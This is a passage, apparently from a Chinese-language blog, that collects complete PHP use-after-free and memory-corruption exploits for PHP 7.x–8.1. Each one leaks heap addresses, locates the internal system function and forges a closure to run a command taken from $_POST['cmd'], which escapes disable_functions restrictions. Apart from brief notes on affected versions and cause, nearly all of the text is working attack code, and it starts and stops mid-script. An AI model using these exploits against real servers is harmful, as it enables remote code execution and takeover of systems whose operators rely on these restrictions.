$i ++) {             $leak  = leak ($data_addr , $i  * 8 );             if ($leak  - $base  > 0  && $leak  - $base  < $data_addr  - $base ) {                 $deref  = leak ($leak );                                  if ($deref  != 0x746e6174736e6f63 )                     continue ;             } else  continue ;             $leak  = leak ($data_addr , ($i  + 4 ) * 8 );             if ($leak  - $base  > 0  && $leak  - $base  < $data_addr  - $base ) {                 $deref  = leak ($leak );                                  if ($deref  != 0x786568326e6962 )                     continue ;             } else  continue ;             return  $data_addr  + $i  * 8 ;         }     }     function  get_binary_base ($binary_leak  )  {         $base  = 0 ;         $start  = $binary_leak  & 0xfffffffffffff000 ;         for ($i  = 0 ; $i  < 0x1000 ; $i ++) {             $addr  = $start  - 0x1000  * $i ;             $leak  = leak ($addr , 0 , 7 );             if ($leak  == 0x10102464c457f ) {                  return  $addr ;             }         }     }     function  get_system ($basic_funcs  )  {         $addr  = $basic_funcs ;         do  {             $f_entry  = leak ($addr );             $f_name  = leak ($f_entry , 0 , 6 );             if ($f_name  == 0x6d6574737973 ) {                  return  leak ($addr  + 8 );             }             $addr  += 0x20 ;         } while ($f_entry  != 0 );         return  false ;     }     function  trigger_uaf ($arg  )  {                  $arg  = str_shuffle (str_repeat ('A' , 79 ));         $vuln  = new  Vuln ();         $vuln ->a = $arg ;     }     if (stristr (PHP_OS, 'WIN' )) {         die ('This PoC is for *nix systems only.' );     }     $n_alloc  = 10 ;      $contiguous  = [];     for ($i  = 0 ; $i  < $n_alloc ; $i ++)         $contiguous [] = str_shuffle (str_repeat ('A' , 79 ));     trigger_uaf ('x' );     $abc  = $backtrace [1 ]['args' ][0 ];     $helper  = new  Helper ;     $helper ->b = function  ($x  )  { };     if (strlen ($abc ) == 79  || strlen ($abc ) == 0 ) {         die ("UAF failed" );     }          $closure_handlers  = str2ptr ($abc , 0 );     $php_heap  = str2ptr ($abc , 0x58 );     $abc_addr  = $php_heap  - 0xc8 ;          write ($abc , 0x60 , 2 );     write ($abc , 0x70 , 6 );          write ($abc , 0x10 , $abc_addr  + 0x60 );     write ($abc , 0x18 , 0xa );     $closure_obj  = str2ptr ($abc , 0x20 );     $binary_leak  = leak ($closure_handlers , 8 );     if (!($base  = get_binary_base ($binary_leak ))) {         die ("Couldn't determine binary base address" );     }     if (!($elf  = parse_elf ($base ))) {         die ("Couldn't parse ELF header" );     }     if (!($basic_funcs  = get_basic_funcs ($base , $elf ))) {         die ("Couldn't get basic_functions address" );     }     if (!($zif_system  = get_system ($basic_funcs ))) {         die ("Couldn't get zif_system address" );     }          $fake_obj_offset  = 0xd0 ;     for ($i  = 0 ; $i  < 0x110 ; $i  += 8 ) {         write ($abc , $fake_obj_offset  + $i , leak ($closure_obj , $i ));     }          write ($abc , 0x20 , $abc_addr  + $fake_obj_offset );     write ($abc , 0xd0  + 0x38 , 1 , 4 );      write ($abc , 0xd0  + 0x68 , $zif_system );      ($helper ->b)($cmd );     exit (); }
 
php_Concat_UAF(PHP 7.3-8.1) 利用条件 
Linux 操作系统 
PHP7.3 - all versions to date 
PHP7.4 - all versions to date 
PHP8.0 - all versions to date 
PHP8.1 - all versions to date 
 
原理 
此漏洞利用了处理字符串连接的函数中的错误。如果满足某些条件,诸如 $a.$b 之类的语句可能会导致内存损坏。错误报告提供了对该漏洞的非常详尽的分析
type confusion/UAF on set_error_handler with concat operation 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 <?php new  Pwn ($_POST ['cmd' ]);class  Helper   { public  $a , $b , $c ; }class  Pwn   {     const  LOGGING  = false ;     const  CHUNK_DATA_SIZE  = 0x60 ;     const  CHUNK_SIZE  = ZEND_DEBUG_BUILD ? self ::CHUNK_DATA_SIZE  + 0x20  : self ::CHUNK_DATA_SIZE ;     const  STRING_SIZE  = self ::CHUNK_DATA_SIZE  - 0x18  - 1 ;     const  HT_SIZE  = 0x118 ;     const  HT_STRING_SIZE  = self ::HT_SIZE  - 0x18  - 1 ;     public  function  __construct ($cmd  )  {         for ($i  = 0 ; $i  < 10 ; $i ++) {             $groom [] = self ::alloc (self ::STRING_SIZE );             $groom [] = self ::alloc (self ::HT_STRING_SIZE );         }                  $concat_str_addr  = self ::str2ptr ($this ->heap_leak (), 16 );         $fill  = self ::alloc (self ::STRING_SIZE );         $this ->abc = self ::alloc (self ::STRING_SIZE );         $abc_addr  = $concat_str_addr  + self ::CHUNK_SIZE ;         self ::log ("abc @ 0x%x" , $abc_addr );         $this ->free ($abc_addr );         $this ->helper = new  Helper ;         if (strlen ($this ->abc) < 0x1337 ) {             self ::log ("uaf failed" );             return ;         }         $this ->helper->a = "leet" ;         $this ->helper->b = function ($x  )  {};         $this ->helper->c = 0xfeedface ;         $helper_handlers  = $this ->rel_read (0 );         self ::log ("helper handlers @ 0x%x" , $helper_handlers );         $closure_addr  = $this ->rel_read (0x20 );         self ::log ("real closure @ 0x%x" , $closure_addr );         $closure_ce  = $this ->read ($closure_addr  + 0x10 );         self ::log ("closure class_entry @ 0x%x" , $closure_ce );                  $basic_funcs  = $this ->get_basic_funcs ($closure_ce );         self ::log ("basic_functions @ 0x%x" , $basic_funcs );         $zif_system  = $this ->get_system ($basic_funcs );         self ::log ("zif_system @ 0x%x" , $zif_system );         $fake_closure_off  = 0x70 ;         for ($i  = 0 ; $i  < 0x138 ; $i  += 8 ) {             $this ->rel_write ($fake_closure_off  + $i , $this ->read ($closure_addr  + $i ));         }         $this ->rel_write ($fake_closure_off  + 0x38 , 1 , 4 );         $handler_offset  = PHP_MAJOR_VERSION === 8  ? 0x70  : 0x68 ;         $this ->rel_write ($fake_closure_off  + $handler_offset , $zif_system );         $fake_closure_addr  = $abc_addr  + $fake_closure_off  + 0x18 ;         self ::log ("fake closure @ 0x%x" , $fake_closure_addr );         $this ->rel_write (0x20 , $fake_closure_addr );         ($this ->helper->b)($cmd );         $this ->rel_write (0x20 , $closure_addr );         unset ($this ->helper->b);     }     private  function  heap_leak ( )  {         $arr  = [[], []];         set_error_handler (function() use  (&$arr , &$buf ) {             $arr  = 1;             $buf  = str_repeat ("\x00" , self ::HT_STRING_SIZE );         });         $arr [1 ] .= self ::alloc (self ::STRING_SIZE  - strlen ("Array" ));         return  $buf ;     }     private  function  free ($addr  )  {         $payload  = pack ("Q*" , 0xdeadbeef , 0xcafebabe , $addr );         $payload  .= str_repeat ("A" , self ::HT_STRING_SIZE  - strlen ($payload ));                  $arr  = [[], []];         set_error_handler (function() use  (&$arr , &$buf , &$payload ) {             $arr  = 1;             $buf  = str_repeat ($payload , 1 );         });         $arr [1 ] .= "x" ;     }     private  function  rel_read ($offset  )  {         return  self ::str2ptr ($this ->abc, $offset );     }     private  function  rel_write ($offset , $value , $n  = 8  )  {         for  ($i  = 0 ; $i  < $n ; $i ++) {             $this ->abc[$offset  + $i ] = chr ($value  & 0xff );             $value  >>= 8 ;         }     }     private  function  read ($addr , $n  = 8  )  {         $this ->rel_write (0x10 , $addr  - 0x10 );         $value  = strlen ($this ->helper->a);         if ($n  !== 8 ) { $value  &= (1  << ($n  << 3 )) - 1 ; }         return  $value ;     }     private  function  get_system ($basic_funcs  )  {         $addr  = $basic_funcs ;         do  {             $f_entry  = $this ->read ($addr );             $f_name  = $this ->read ($f_entry , 6 );             if ($f_name  === 0x6d6574737973 ) {                 return  $this ->read ($addr  + 8 );             }             $addr  += 0x20 ;         } while ($f_entry  !== 0 );     }     private  function  get_basic_funcs ($addr  )  {         while (true ) {                                                                 $addr  -= 0x10 ;             if ($this ->read ($addr , 4 ) === 0xA8  &&                 in_array ($this ->read ($addr  + 4 , 4 ),                     [20180731 , 20190902 , 20200930 , 20210902 ])) {                 $module_name_addr  = $this ->read ($addr  + 0x20 );                 $module_name  = $this ->read ($module_name_addr );                 if ($module_name  === 0x647261646e617473 ) {                     self ::log ("standard module @ 0x%x" , $addr );                     return  $this ->read ($addr  + 0x28 );                 }             }         }     }     private  function  log ($format , $val  = ""  )  {         if (self ::LOGGING ) {             printf ("{$format} \n" , $val );         }     }     static  function  alloc ($size  )  {         return  str_shuffle (str_repeat ("A" , $size ));     }     static  function  str2ptr ($str , $p  = 0 , $n  = 8  )  {         $address  = 0 ;         for ($j  = $n  - 1 ; $j  >= 0 ; $j --) {             $address  <<= 8 ;             $address  |= ord ($str [$p  + $j ]);         }         return  $address ;     } }?> 
 
php7_UserFilter(PHP 7.0-8.0) 利用条件 
php5.* - exploitable with minor changes to the PoC 
php7.0 - all versions to date 
php7.1 - all versions to date 
php7.2 - all versions to date 
php7.3 - all versions to date 
php7.4 < 7.4.26 
php8.0 < 8.0.13 
 
原理 
Memory corruption with user_filter 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 <?php pwn ($_POST ['cmd' ]);function  pwn ($cmd  )  {     define ('LOGGING' , false );     define ('CHUNK_DATA_SIZE' , 0x60 );     define ('CHUNK_SIZE' , ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20  : CHUNK_DATA_SIZE);     define ('FILTER_SIZE' , ZEND_DEBUG_BUILD ? 0x70  : 0x50 );     define ('STRING_SIZE' , CHUNK_DATA_SIZE - 0x18  - 1 );     define ('CMD' , $cmd );     for ($i  = 0 ; $i  < 10 ; $i ++) {         $groom [] = Pwn ::alloc (STRING_SIZE);     }     stream_filter_register ('pwn_filter' , 'Pwn' );     $fd  = fopen ('php://memory' , 'w' );     stream_filter_append ($fd ,'pwn_filter' );     fwrite ($fd , 'x' ); }class  Helper   { public  $a , $b , $c ; }class  Pwn  extends  php_user_filter   {     private  $abc , $abc_addr ;     private  $helper , $helper_addr , $helper_off ;     private  $uafp , $hfp ;     public  function  filter ($in , $out , &$consumed , $closing  )  {         if ($closing ) return ;         stream_bucket_make_writeable ($in );         $this ->filtername = Pwn ::alloc (STRING_SIZE);         fclose ($this ->stream);         $this ->go ();         return  PSFS_PASS_ON;     }     private  function  go ( )  {         $this ->abc = &$this ->filtername;         $this ->make_uaf_obj ();         $this ->helper = new  Helper ;         $this ->helper->b = function ($x  )  {};         $this ->helper_addr = $this ->str2ptr (CHUNK_SIZE * 2  - 0x18 ) - CHUNK_SIZE * 2 ;         $this ->log ("helper @ 0x%x" , $this ->helper_addr);         $this ->abc_addr = $this ->helper_addr - CHUNK_SIZE;         $this ->log ("abc @ 0x%x" , $this ->abc_addr);         $this ->helper_off = $this ->helper_addr - $this ->abc_addr - 0x18 ;         $helper_handlers  = $this ->str2ptr (CHUNK_SIZE);         $this ->log ("helper handlers @ 0x%x" , $helper_handlers );         $this ->prepare_leaker ();         $binary_leak  = $this ->read ($helper_handlers  + 8 );         $this ->log ("binary leak @ 0x%x" , $binary_leak );         $this ->prepare_cleanup ($binary_leak );         $closure_addr  = $this ->str2ptr ($this ->helper_off + 0x38 );         $this ->log ("real closure @ 0x%x" , $closure_addr );         $closure_ce  = $this ->read ($closure_addr  + 0x10 );         $this ->log ("closure class_entry @ 0x%x" , $closure_ce );         $basic_funcs  = $this ->get_basic_funcs ($closure_ce );         $this ->log ("basic_functions @ 0x%x" , $basic_funcs );         $zif_system  = $this ->get_system ($basic_funcs );         $this ->log ("zif_system @ 0x%x" , $zif_system );         $fake_closure_off  = $this ->helper_off + CHUNK_SIZE * 2 ;         for ($i  = 0 ; $i  < 0x138 ; $i  += 8 ) {             $this ->write ($fake_closure_off  + $i , $this ->read ($closure_addr  + $i ));         }         $this ->write ($fake_closure_off  + 0x38 , 1 , 4 );         $handler_offset  = PHP_MAJOR_VERSION === 8  ? 0x70  : 0x68 ;         $this ->write ($fake_closure_off  + $handler_offset , $zif_system );         $fake_closure_addr  = $this ->helper_addr + $fake_closure_off  - $this ->helper_off;         $this ->write ($this ->helper_off + 0x38 , $fake_closure_addr );         $this ->log ("fake closure @ 0x%x" , $fake_closure_addr );         $this ->cleanup ();         ($this ->helper->b)(CMD);     }     private  function  make_uaf_obj ( )  {         $this ->uafp = fopen ('php://memory' , 'w' );         fwrite ($this ->uafp, pack ('QQQ' , 1 , 0 , 0xDEADBAADC0DE ));         for ($i  = 0 ; $i  < STRING_SIZE; $i ++) {             fwrite ($this ->uafp, "\x00" );         }     }     private  function  prepare_leaker ( )  {         $str_off  = $this ->helper_off + CHUNK_SIZE + 8 ;         $this ->write ($str_off , 2 );         $this ->write ($str_off  + 0x10 , 6 );         $val_off  = $this ->helper_off + 0x48 ;         $this ->write ($val_off , $this ->helper_addr + CHUNK_SIZE + 8 );         $this ->write ($val_off  + 8 , 0xA );     }     private  function  prepare_cleanup ($binary_leak  )  {         $ret_gadget  = $binary_leak ;         do  {             --$ret_gadget ;         } while ($this ->read ($ret_gadget , 1 ) !== 0xC3 );         $this ->log ("ret gadget = 0x%x" , $ret_gadget );         $this ->write (0 , $this ->abc_addr + 0x20  - (PHP_MAJOR_VERSION === 8  ? 0x50  : 0x60 ));         $this ->write (8 , $ret_gadget );     }     private  function  read ($addr , $n  = 8  )  {         $this ->write ($this ->helper_off + CHUNK_SIZE + 16 , $addr  - 0x10 );         $value  = strlen ($this ->helper->c);         if ($n  !== 8 ) { $value  &= (1  << ($n  << 3 )) - 1 ; }         return  $value ;     }     private  function  write ($p , $v , $n  = 8  )  {         for ($i  = 0 ; $i  < $n ; $i ++) {             $this ->abc[$p  + $i ] = chr ($v  & 0xff );             $v  >>= 8 ;         }     }     private  function  get_basic_funcs ($addr  )  {         while (true ) {                                                                 $addr  -= 0x10 ;             if ($this ->read ($addr , 4 ) === 0xA8  &&                 in_array ($this ->read ($addr  + 4 , 4 ),                     [20151012 , 20160303 , 20170718 , 20180731 , 20190902 , 20200930 ])) {                 $module_name_addr  = $this ->read ($addr  + 0x20 );                 $module_name  = $this ->read ($module_name_addr );                 if ($module_name  === 0x647261646e617473 ) {                     $this ->log ("standard module @ 0x%x" , $addr );                     return  $this ->read ($addr  + 0x28 );                 }             }         }     }     private  function  get_system ($basic_funcs  )  {         $addr  = $basic_funcs ;         do  {             $f_entry  = $this ->read ($addr );             $f_name  = $this ->read ($f_entry , 6 );             if ($f_name  === 0x6d6574737973 ) {                 return  $this ->read ($addr  + 8 );             }             $addr  += 0x20 ;         } while ($f_entry  !== 0 );     }     private  function  cleanup ( )  {         $this ->hfp = fopen ('php://memory' , 'w' );         fwrite ($this ->hfp, pack ('QQ' , 0 , $this ->abc_addr));         for ($i  = 0 ; $i  < FILTER_SIZE - 0x10 ; $i ++) {             fwrite ($this ->hfp, "\x00" );         }     }     private  function  str2ptr ($p  = 0 , $n  = 8  )  {         $address  = 0 ;         for ($j  = $n  - 1 ; $j  >= 0 ; $j --) {             $address  <<= 8 ;             $address  |= ord ($this ->abc[$p  + $j ]);         }         return  $address ;     }     private  function  ptr2str ($ptr , $n  = 8  )  {         $out  = '' ;         for  ($i  = 0 ; $i  < $n ; $i ++) {             $out  .= chr ($ptr  & 0xff );             $ptr  >>= 8 ;         }         return  $out ;     }     private  function  log ($format , $val  = ''  )  {         if (LOGGING) {             printf ("{$format} \n" , $val );         }     }     static  function  alloc ($size  )  {         return  str_shuffle (str_repeat ('A' , $size ));     } }?> 
 
php7_ReflectionProperty_UAF 利用条件 
7.4.x 版本上进行利用,最高可利用版本为 7.4.8。 
 
原理 
Use after free when type duplicated into ReflectionProperty gets resolved 
exp 
最简触发脚本
1 2 3 4 5 6 7 8 <?php class  Test   {public  stdClass  $prop ; }$rp  = new  ReflectionProperty (Test ::class , 'prop' );$test  = new  Test ;$test ->prop = new  stdClass ;var_dump ($rp ->getType ()->getName ());
 
rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 <?php global  $abc , $helper ;class  Test   {     public  HelperHelperHelperHelperHelperHelperHelper $prop ; }class  HelperHelperHelperHelperHelperHelperHelper   {     public  $a , $b ; }function  s2n ($str  )  {     $address  = 0 ;     for  ($i =0 ;$i <4 ;$i ++) {         $address  <<= 8 ;         $address  |= ord ($str [4  + $i ]);     }     return  $address ; }function  s2b ($str , $offset  )  {     return  hex2bin (str_pad (dechex (s2n ($str ) + $offset  - 0x10 ), 8 , "0" ,         STR_PAD_LEFT)); }function  leak ($offset  )  {     global  $abc ;     $data  = "" ;     for  ($i  = 0 ;$i  < 8 ;$i ++) {         $data  .= $abc [$offset  + 7  - $i ];     }     return  $data ; }function  leak2 ($address  )  {     global  $helper ;     write (0x20 , $address );     $leak  = strlen ($helper  -> b);     $leak  = dechex ($leak );     $leak  = str_pad ($leak , 16 , "0" , STR_PAD_LEFT);     $leak  = hex2bin ($leak );     return  $leak ; }function  write ($offset , $data  )  {     global  $abc ;     $data  = str_pad ($data , 8 , "\x00" , STR_PAD_LEFT);     for  ($i  = 0 ;$i  < 8 ;$i ++) {         $abc [$offset  + $i ] = $data [7  - $i ];     } }function  get_basic_funcs ($std_object_handlers  )  {     $prefix  = substr ($std_object_handlers , 0 , 4 );     $std_object_handlers  = hexdec (bin2hex ($std_object_handlers ));     $start  = $std_object_handlers  & 0x00000000fffff000  | 0x0000000000000920 ;      	$NumPrefix  = $std_object_handlers  & 0x0000ffffff000000 ; 	$NumPrefix  = $NumPrefix  - 0x0000000001000000 ; 	$funcs  = get_defined_functions ()['internal' ]; 	for  ($i  = 0 ; $i  < 0x1000 ; $i ++) {         $addr  = $start  - 0x1000  * $i ;         $name_addr  = bin2hex (leak2 ($prefix  . hex2bin (str_pad (dechex ($addr  - 0x10 ), 8 ,                 "0" , STR_PAD_LEFT))));         if  (hexdec ($name_addr ) > $std_object_handlers  || hexdec ($name_addr ) < $NumPrefix ) {             continue ;         }         $name_addr  = str_pad ($name_addr , 16 , "0" , STR_PAD_LEFT);         $name  = strrev (leak2 ($prefix  . s2b (hex2bin ($name_addr ), 0x00 )));         $name  = explode ("\x00" , $name )[0 ];         if (in_array ($name , $funcs )) {             return  [$name , bin2hex ($prefix ) . str_pad (dechex ($addr ), 8 , "0" , STR_PAD_LEFT),                 $std_object_handlers , $NumPrefix ];         }     } }function  getSystem ($unknown_func  )  {     $unknown_addr  = hex2bin ($unknown_func [1 ]);     $prefix  = substr ($unknown_addr , 0 , 4 );     $unknown_addr  = hexdec ($unknown_func [1 ]);     $start  = $unknown_addr  & 0x00000000ffffffff ;     for  ($i  = 0 ;$i  < 0x800 ;$i ++) {         $addr  = $start  - 0x20  * $i ;         $name_addr  = bin2hex (leak2 ($prefix  . hex2bin (str_pad (dechex ($addr  - 0x10 ), 8 ,                 "0" , STR_PAD_LEFT))));         if  (hexdec ($name_addr ) > $unknown_func [2 ] || hexdec ($name_addr ) <             $unknown_func [3 ]) {             continue ;         }         $name_addr  = str_pad ($name_addr , 16 , "0" , STR_PAD_LEFT);         $name  = strrev (leak2 ($prefix  . s2b (hex2bin ($name_addr ), 0x00 )));         if (strstr ($name , "system" )) {             return  bin2hex (leak2 ($prefix  . hex2bin (str_pad (dechex ($addr  - 0x10  + 0x08 ), 8 ,                     "0" , STR_PAD_LEFT))));         }     }     for  ($i  = 0 ;$i  < 0x800 ;$i ++) {         $addr  = $start  + 0x20  * $i ;         $name_addr  = bin2hex (leak2 ($prefix  . hex2bin (str_pad (dechex ($addr  - 0x10 ), 8 ,                 "0" , STR_PAD_LEFT))));         if  (hexdec ($name_addr ) > $unknown_func [2 ] || hexdec ($name_addr ) <             $unknown_func [3 ]) {             continue ;         }         $name_addr  = str_pad ($name_addr , 16 , "0" , STR_PAD_LEFT);         $name  = strrev (leak2 ($prefix  . s2b (hex2bin ($name_addr ), 0x00 )));         if (strstr ($name , "system" )) {             return  bin2hex (leak2 ($prefix  . hex2bin (str_pad (dechex ($addr  - 0x10  + 0x08 ), 8 ,                     "0" , STR_PAD_LEFT))));         }     } }$rp  = new  ReflectionProperty (Test ::class , 'prop' );$test  = new  Test ;$test  -> prop = new  HelperHelperHelperHelperHelperHelperHelper ;$abc  = $rp  -> getType () -> getName ();$helper  = new  HelperHelperHelperHelperHelperHelperHelper ();if  (strlen ($abc ) < 1000 ) {     exit ("UAF Failed!" ); }$helper  -> a = $helper ;$php_heap  = leak (0x10 );$helper  -> a = function ($x  )  {};$std_object_handlers  = leak (0x0 );$prefix  = substr ($php_heap , 0 , 4 );echo  "Helper Object Address: "  . bin2hex ($php_heap ) . "\n" ;echo  "std_object_handlers Address: "  . bin2hex ($std_object_handlers ) . "\n" ;$closure_object  = leak (0x10 );echo  "Closure Object: "  . bin2hex ($closure_object ) . "\n" ;write (0x28 , "\x06" );if (!($unknown_func  = get_basic_funcs ($std_object_handlers ))) {     die ("Couldn't determine funcs address" ); }echo  "Find func's adress: "  . $unknown_func [1 ] . " -> "  . $unknown_func [0 ] .     "\n" ;if (!($system_address  = getSystem ($unknown_func ))) {     die ("Couldn't determine system address" ); }echo  "Find system's handler: "  . $system_address  . "\n" ;for  ($i  = 0 ;$i  < (0x130  / 0x08 );$i ++) {     write (0x308  + 0x08  * ($i  + 1 ), leak2 ($prefix  . s2b ($closure_object , 0x08  *             $i ))); }$abc [0x308  + 0x40 ] = "\x01" ;write (0x308  + 0x70 , hex2bin ($system_address ));write (0x10 , $prefix  . hex2bin (dechex (s2n ($php_heap ) + 0x18  + 0x308  + 0x08 )));echo  "Fake Closure Object Address: "  . bin2hex ($prefix  .         hex2bin (str_pad (dechex (s2n ($php_heap ) + 0x18  + 0x308  + 0x08 ), 8 , "0" ,             STR_PAD_LEFT))) . "\n" ; ($helper  -> a)("id" );
 
php7_SplDoublyLinkedList UAF 利用条件 
PHP v7.4.10及其之前版本 
PHP v8.0(Alpha) 
 
如果限制了 openbase_dir ,则需要进行爆破,而且爆破还会导致进程崩溃
 
原理 
PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等
通过UAF bypass PHP disabled functions PHP SplDoublyLinkedList中的用后释放漏洞分析 PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape 
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 <?php error_reporting (0 );$a  = str_repeat ("T" , 120  * 1024  * 1024 );function  i2s (&$a , $p , $i , $x  = 8  )  {     for ($j  = 0 ;$j  < $x ;$j ++) {         $a [$p  + $j ] = chr ($i  & 0xff );         $i  >>= 8 ;     } }function  s2i ($s  )  {     $result  = 0 ;     for  ($x  = 0 ;$x  < strlen ($s );$x ++) {         $result  <<= 8 ;         $result  |= ord ($s [$x ]);     }     return  $result ; }function  leak (&$a , $address  )  {     global  $s ;     i2s ($a , 0x00 , $address  - 0x10 );     return  strlen ($s  -> current ()); }function  getPHPChunk ($maps  )  {     $pattern  = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /' ;     preg_match_all ($pattern , $maps , $match );     foreach  ($match [1 ] as  $value ) {         list ($start , $end ) = explode ("-" , $value );         if  (($length  = s2i (hex2bin ($end )) - s2i (hex2bin ($start ))) >= 0x200000  && $length  <= 0x300000 ) {             $address  = array (s2i (hex2bin ($start )), s2i (hex2bin ($end )), $length );             echo  "[+]PHP Chunk: "  . $start  . " - "  . $end  . ", length: 0x"  . dechex ($length ) . "\n" ;             return  $address ;         }     } }function  bomb1 (&$a  )  {     if  (leak ($a , s2i ($_GET ["test1" ])) === 0x5454545454545454 ) {         return  (s2i ($_GET ["test1" ]) & 0x7ffff0000000 );     }else  {         die ("[!]Where is here" );     } }function  bomb2 (&$a  )  {     $start  = s2i ($_GET ["test2" ]);     return  getElement ($a , array ($start , $start  + 0x200000 , 0x200000 ));     die ("[!]Not Found" ); }function  getElement (&$a , $address  )  {     for  ($x  = 0 ;$x  < ($address [2 ] / 0x1000  - 2 );$x ++) {         $addr  = 0x108  + $address [0 ] + 0x1000  * $x  + 0x1000 ;         for  ($y  = 0 ;$y  < 5 ;$y ++) {             if  (leak ($a , $addr  + $y  * 0x08 ) === 0x1234567812345678  && ((leak ($a , $addr  + $y  * 0x08  - 0x08 ) & 0xffffffff ) === 0x01 )){                 echo  "[+]SplDoublyLinkedList Element: "  . dechex ($addr  + $y  * 0x08  - 0x18 ) . "\n" ;                 return  $addr  + $y  * 0x08  - 0x18 ;             }         }     } }function  getClosureChunk (&$a , $address  )  {     do  {         $address  = leak ($a , $address );     }while (leak ($a , $address ) !== 0x00 );     echo  "[+]Closure Chunk: "  . dechex ($address ) . "\n" ;     return  $address ; }function  getSystem (&$a , $address  )  {     $start  = $address  & 0xffffffffffff0000 ;     $lowestAddr  = ($address  & 0x0000fffffff00000 ) - 0x0000000001000000 ;     for ($i  = 0 ; $i  < 0x1000  * 0x80 ; $i ++) {         $addr  = $start  - $i  * 0x20 ;         if  ($addr  < $lowestAddr ) {             break ;         }         $nameAddr  = leak ($a , $addr );         if  ($nameAddr  > $address  || $nameAddr  < $lowestAddr ) {             continue ;         }         $name  = dechex (leak ($a , $nameAddr ));         $name  = str_pad ($name , 16 , "0" , STR_PAD_LEFT);         $name  = strrev (hex2bin ($name ));         $name  = explode ("\x00" , $name )[0 ];         if ($name  === "system" ) {             return  leak ($a , $addr  + 0x08 );         }     } }class  Trigger   {     function  __destruct ( )  {         global  $s ;         unset ($s [0 ]);         $a  = str_shuffle (str_repeat ("T" , 0xf ));         i2s ($a , 0x00 , 0x1234567812345678 );         i2s ($a , 0x08 , 0x04 , 7 );         $s  -> current ();         $s  -> next ();         if  ($s  -> current () !== 0x1234567812345678 ) {              die ("[!]UAF Failed" );         }         $maps  = file_get_contents ("/proc/self/maps" );         if  (!$maps ) {             cantRead ($a );         }else  {             canRead ($maps , $a );         }         echo  "[+]Done" ;     } }function  bypass ($elementAddress , &$a  )  {     global  $s ;     if  (!$closureChunkAddress  = getClosureChunk ($a , $elementAddress )) {         die ("[!]Get Closure Chunk Address Failed" );     }     $closure_object  = leak ($a , $closureChunkAddress  + 0x18 );     echo  "[+]Closure Object: "  . dechex ($closure_object ) . "\n" ;     $closure_handlers  = leak ($a , $closure_object  + 0x18 );     echo  "[+]Closure Handler: "  . dechex ($closure_handlers ) . "\n" ;     if (!($system_address  = getSystem ($a , $closure_handlers ))) {         die ("[!]Couldn't determine system address" );     }     echo  "[+]Find system's handler: "  . dechex ($system_address ) . "\n" ;     i2s ($a , 0x08 , 0x506 , 7 );     for  ($i  = 0 ;$i  < (0x130  / 0x08 );$i ++) {         $data  = leak ($a , $closure_object  + 0x08  * $i );         i2s ($a , 0x00 , $closure_object  + 0x30 );         i2s ($s  -> current (), 0x08  * $i  + 0x100 , $data );     }     i2s ($a , 0x00 , $closure_object  + 0x30 );     i2s ($s  -> current (), 0x20 , $system_address );     i2s ($a , 0x00 , $closure_object );     i2s ($a , 0x08 , 0x108 , 7 );     echo  "[+]Executing command: \n" ;     ($s  -> current ())("php -v" ); }function  canRead ($maps , &$a  )  {     global  $s ;     if  (!$chunkAddress  = getPHPChunk ($maps )) {         die ("[!]Get PHP Chunk Address Failed" );     }     i2s ($a , 0x08 , 0x06 , 7 );     if  (!$elementAddress  = getElement ($a , $chunkAddress )) {         die ("[!]Get SplDoublyLinkedList Element Address Failed" );     }     bypass ($elementAddress , $a ); }function  cantRead (&$a  )  {     global  $s ;     i2s ($a , 0x08 , 0x06 